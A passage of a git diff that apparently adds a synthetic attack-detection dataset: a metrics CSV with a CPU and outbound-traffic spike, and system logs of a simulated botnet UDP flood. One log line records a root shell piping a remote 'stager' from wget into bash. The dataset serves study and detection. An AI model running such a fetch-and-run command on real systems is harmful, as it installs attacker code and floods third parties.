SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=48902 DPT=80 LEN=1480 +Aug 15 14:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=51234 DPT=80 LEN=1480 +Aug 15 14:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=39981 DPT=80 LEN=1480 +Aug 15 14:03:10 webapp[5432]: 192.168.1.56 - - [15/Aug/2025:14:03:10] "GET /health" 503 20 +Aug 15 14:03:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=42876 DPT=80 LEN=1480 +Aug 15 14:03:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=55321 DPT=80 LEN=1480 +Aug 15 14:03:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=36806 DPT=80 LEN=1480 +Aug 15 14:03:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45988 DPT=80 LEN=1480 +Aug 15 14:03:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57056 DPT=80 LEN=1480 +Aug 15 14:04:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=24916 DPT=80 LEN=1480 +Aug 15 14:04:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=31415 DPT=80 LEN=1480 +Aug 15 14:04:15 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=49872 DPT=80 LEN=1480 +Aug 15 14:04:20 webapp[5432]: connect() to unix:/var/run/app.sock failed (11: Resource temporarily unavailable) +Aug 15 14:04:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=52341 DPT=80 LEN=1480 +Aug 15 14:04:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=38888 DPT=80 LEN=1480 +Aug 15 14:04:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=46193 DPT=80 LEN=1480 +Aug 15 14:05:05 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=59987 DPT=80 LEN=1480 +Aug 15 14:05:10 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33219 DPT=80 LEN=1480 +Aug 15 14:05:25 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41876 DPT=80 LEN=1480 +Aug 15 14:05:30 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=54321 DPT=80 LEN=1480 +Aug 15 14:05:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37806 DPT=80 LEN=1480 +Aug 15 14:05:55 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=198.51.100.25 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=44988 DPT=80 LEN=1480 +Aug 15 14:06:00 systemd[1]: Started Session 245 of user root. +Aug 15 14:06:10 CRON[2900]: (root) CMD ( /usr/lib/snapd/snapd --review) +Aug 15 14:06:30 webapp[5432]: 192.168.1.56 - - [15/Aug/2025:14:06:30] "GET /health" 200 12 +Aug 15 14:07:00 systemd[1]: Started Session 250 of user root. +Aug 15 14:07:20 CRON[2910]: (root) CMD ( /usr/lib/snapd/snapd --review) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_3.csv b/mali_dataset/scenario_2/mali_2_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..c62b86be628377b259c8e9222f14c2f725fed859 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T16:00:00Z,17.84,49.04,23.21,1.22,1.8 +2025-08-16T16:00:05Z,15.3,45.97,29.4,1.84,2.3 +2025-08-16T16:00:10Z,15.98,43.57,21.14,1.07,2.96 +2025-08-16T16:00:15Z,11.46,42.42,34.1,1.4,2.39 +2025-08-16T16:00:20Z,14.16,43.66,27.29,1.35,2.89 +2025-08-16T16:00:25Z,11.46,40.41,21.07,1.01,2.85 +2025-08-16T16:00:30Z,16.7,45.51,30.79,1.66,2.26 +2025-08-16T16:00:35Z,11.03,47.45,26.37,1.63,2.85 +2025-08-16T16:00:40Z,8.38,40.69,24.17,1.46,2.99 +2025-08-16T16:00:45Z,13.79,44.81,29.63,1.13,2.93 +2025-08-16T16:00:50Z,8.82,47.11,21.27,1.16,1.89 +2025-08-16T16:00:55Z,13.4,42.89,31.94,1.67,2.4 +2025-08-16T16:01:00Z,14.92,49.13,20.88,1.6,1.58 +2025-08-16T16:01:05Z,11.27,47.27,20.55,1.28,2.97 +2025-08-16T16:01:10Z,8.23,43.25,25.96,1.04,1.57 +2025-08-16T16:01:15Z,16.12,41.14,29.5,1.76,2.6 +2025-08-16T16:01:20Z,8.47,40.96,20.88,1.3,2.89 +2025-08-16T16:01:25Z,14.23,40.55,31.81,1.63,2.63 +2025-08-16T16:01:30Z,9.9,45.42,23.78,1.68,2.33 +2025-08-16T16:01:35Z,16.7,43.9,25.41,1.82,2.07 +2025-08-16T16:01:40Z,16.65,42.68,21.41,1.28,1.63 +2025-08-16T16:01:45Z,8.44,47.7,22.94,1.95,2.02 +2025-08-16T16:01:50Z,9.21,46.17,34.31,1.76,2.77 +2025-08-16T16:01:55Z,9.24,40.31,24.64,1.83,1.67 +2025-08-16T16:02:00Z,17.2,42.49,25.89,1.11,2.59 +2025-08-16T16:02:05Z,14.28,40.1,34.39,1.55,2.74 +2025-08-16T16:02:10Z,17.56,45.12,29.36,1.06,2.09 +2025-08-16T16:02:15Z,9.12,40.69,31.8,1.34,2.62 +2025-08-16T16:02:20Z,11.86,46.37,29.44,1.96,2.69 +2025-08-16T16:02:25Z,9.7,48.61,33.04,1.87,1.6 +2025-08-16T16:02:30Z,99.11,59.46,5.87,0.31,995.34 +2025-08-16T16:02:35Z,96.91,56.13,3.98,0.28,1112.56 +2025-08-16T16:02:40Z,98.61,52.51,5.41,0.26,926.63 +2025-08-16T16:02:45Z,98.24,58.3,4.52,0.54,917.14 +2025-08-16T16:02:50Z,96.7,59.99,4.8,0.43,958.32 +2025-08-16T16:02:55Z,97.48,50.52,2.35,0.27,1015.38 +2025-08-16T16:03:00Z,98.57,58.8,5.15,0.54,1054.56 +2025-08-16T16:03:05Z,99.59,57.95,4.82,0.31,1039.56 +2025-08-16T16:03:10Z,99.31,52.06,4.41,0.36,964.57 +2025-08-16T16:03:15Z,97.95,54.08,2.41,0.45,935.82 +2025-08-16T16:03:20Z,97.12,55.33,4.36,0.48,965.22 +2025-08-16T16:03:25Z,96.05,56.36,2.58,0.45,920.45 +2025-08-16T16:03:30Z,98.8,57.26,4.77,0.57,1125.17 +2025-08-16T16:03:35Z,97.69,56.97,4.9,0.31,1128.95 +2025-08-16T16:03:40Z,97.94,53.09,5.91,0.56,1027.69 +2025-08-16T16:03:45Z,97.38,59.3,2.08,0.37,1160.2 +2025-08-16T16:03:50Z,99.01,54.05,3.13,0.26,1194.39 +2025-08-16T16:03:55Z,96.75,54.11,2.88,0.59,1028.88 +2025-08-16T16:04:00Z,96.09,58.18,2.08,0.5,1080.44 +2025-08-16T16:04:05Z,99.35,53.5,4.35,0.35,960.33 +2025-08-16T16:04:10Z,99.19,51.82,5.7,0.4,992.1 +2025-08-16T16:04:15Z,98.23,56.83,5.84,0.35,1122.93 +2025-08-16T16:04:20Z,98.85,59.01,3.9,0.32,1039.12 +2025-08-16T16:04:25Z,97.53,57.84,4.5,0.47,1116.61 +2025-08-16T16:04:30Z,96.64,59.79,3.1,0.58,1151.83 +2025-08-16T16:04:35Z,99.96,59.35,4.6,0.54,993.16 +2025-08-16T16:04:40Z,96.94,51.95,3.21,0.24,1118.59 +2025-08-16T16:04:45Z,96.95,53.2,5.79,0.51,1177.46 +2025-08-16T16:04:50Z,96.73,58.09,5.06,0.43,1039.73 +2025-08-16T16:04:55Z,98.54,57.81,3.31,0.46,1053.78 +2025-08-16T16:05:00Z,98.3,52.57,4.25,0.56,1027.02 +2025-08-16T16:05:05Z,97.17,57.1,3.15,0.58,1008.9 +2025-08-16T16:05:10Z,96.32,57.37,4.37,0.45,942.05 +2025-08-16T16:05:15Z,96.8,53.91,4.36,0.51,1113.81 +2025-08-16T16:05:20Z,98.54,54.8,5.82,0.32,1065.95 +2025-08-16T16:05:25Z,97.52,55.7,5.33,0.34,1174.97 +2025-08-16T16:05:30Z,96.19,59.91,3.82,0.21,901.92 +2025-08-16T16:05:35Z,98.78,51.36,4.53,0.54,1094.13 +2025-08-16T16:05:40Z,97.57,51.31,5.27,0.26,1111.04 +2025-08-16T16:05:45Z,99.63,50.34,4.52,0.2,1059.59 +2025-08-16T16:05:50Z,98.52,57.59,2.39,0.38,1120.89 +2025-08-16T16:05:55Z,97.04,59.18,3.45,0.43,1188.3 +2025-08-16T16:06:00Z,96.03,51.21,3.81,0.58,1169.48 +2025-08-16T16:06:05Z,97.66,55.45,4.23,0.28,927.65 +2025-08-16T16:06:10Z,97.63,50.98,5.99,0.57,1008.4 +2025-08-16T16:06:15Z,96.73,58.32,4.71,0.24,1193.06 +2025-08-16T16:06:20Z,99.62,52.81,4.15,0.34,1127.44 +2025-08-16T16:06:25Z,96.66,56.74,5.65,0.41,1051.52 +2025-08-16T16:06:30Z,98.8,59.74,4.91,0.5,1091.82 +2025-08-16T16:06:35Z,96.65,53.34,3.13,0.21,1123.02 +2025-08-16T16:06:40Z,96.4,57.78,5.07,0.33,1072.3 +2025-08-16T16:06:45Z,98.48,52.99,3.86,0.51,1194.47 +2025-08-16T16:06:50Z,16.06,46.4,22.81,1.33,1.84 +2025-08-16T16:06:55Z,16.0,50.66,28.23,1.46,2.26 +2025-08-16T16:07:00Z,12.99,47.48,29.21,1.06,2.59 +2025-08-16T16:07:05Z,17.91,46.6,29.76,1.06,2.27 +2025-08-16T16:07:10Z,12.99,50.4,29.33,1.41,1.88 +2025-08-16T16:07:15Z,15.98,44.19,28.24,1.07,2.95 +2025-08-16T16:07:20Z,16.04,45.93,33.98,1.08,2.22 +2025-08-16T16:07:25Z,10.49,50.39,26.89,1.29,2.56 diff --git a/mali_dataset/scenario_2/mali_2_3.log b/mali_dataset/scenario_2/mali_2_3.log new file mode 100644 index 0000000000000000000000000000000000000000..3d025874955056cb4e0e360601d8bf2547ee3d91 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_3.log @@ -0,0 +1,367 @@ +Aug 16 16:00:00 systemd[1]: Starting Clean php session files... +Aug 16 16:00:05 CRON[1901]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:00:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 16:01:05 CRON[1913]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:01:40 systemd[1]: Starting Clean php session files... +Aug 16 16:02:05 CRON[1925]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:02:30 bash[23456]: (root) CMD (wget -q -O - http://192.168.50.10/stager | bash) +Aug 16 16:02:32 bot-agent[23499]: Executing UDP flood against 198.51.100.112:80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=65167 DPT=80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34289 DPT=80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10369 DPT=80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=41979 DPT=80 +Aug 16 16:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49739 DPT=80 +Aug 16 16:02:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59044 DPT=80 +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45316 DPT=80 +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20720 DPT=80 +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36155 DPT=80 +Aug 16 16:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63631 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35060 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56935 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46149 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19796 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35942 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50841 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32985 DPT=80 +Aug 16 16:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=39876 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55882 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53429 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63760 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51036 DPT=80 +Aug 16 16:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33440 DPT=80 +Aug 16 16:02:55 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49702 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51221 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35821 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55535 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14879 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28606 DPT=80 +Aug 16 16:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21317 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26510 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16734 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49583 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58228 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53068 DPT=80 +Aug 16 16:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50345 DPT=80 +Aug 16 16:03:05 CRON[1937]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58191 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16969 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=62757 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47166 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38621 DPT=80 +Aug 16 16:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48794 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58691 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52695 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12123 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23720 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54907 DPT=80 +Aug 16 16:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44923 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28659 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27205 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59448 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45241 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52916 DPT=80 +Aug 16 16:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18227 DPT=80 +Aug 16 16:03:20 systemd[1]: Starting Clean php session files... +Aug 16 16:03:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22773 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55520 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=43307 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18814 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57657 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47218 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22864 DPT=80 +Aug 16 16:03:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=41253 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36406 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24607 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27721 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60579 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36642 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14275 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=39470 DPT=80 +Aug 16 16:03:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63264 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25364 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47123 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38227 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50424 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58057 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=31931 DPT=80 +Aug 16 16:03:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32682 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13497 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26210 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60511 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12263 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33735 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24435 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33861 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50436 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59058 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64416 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26674 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42777 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53503 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55825 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12741 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28306 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52236 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58504 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27897 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17084 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56570 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19198 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18818 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=37109 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=43753 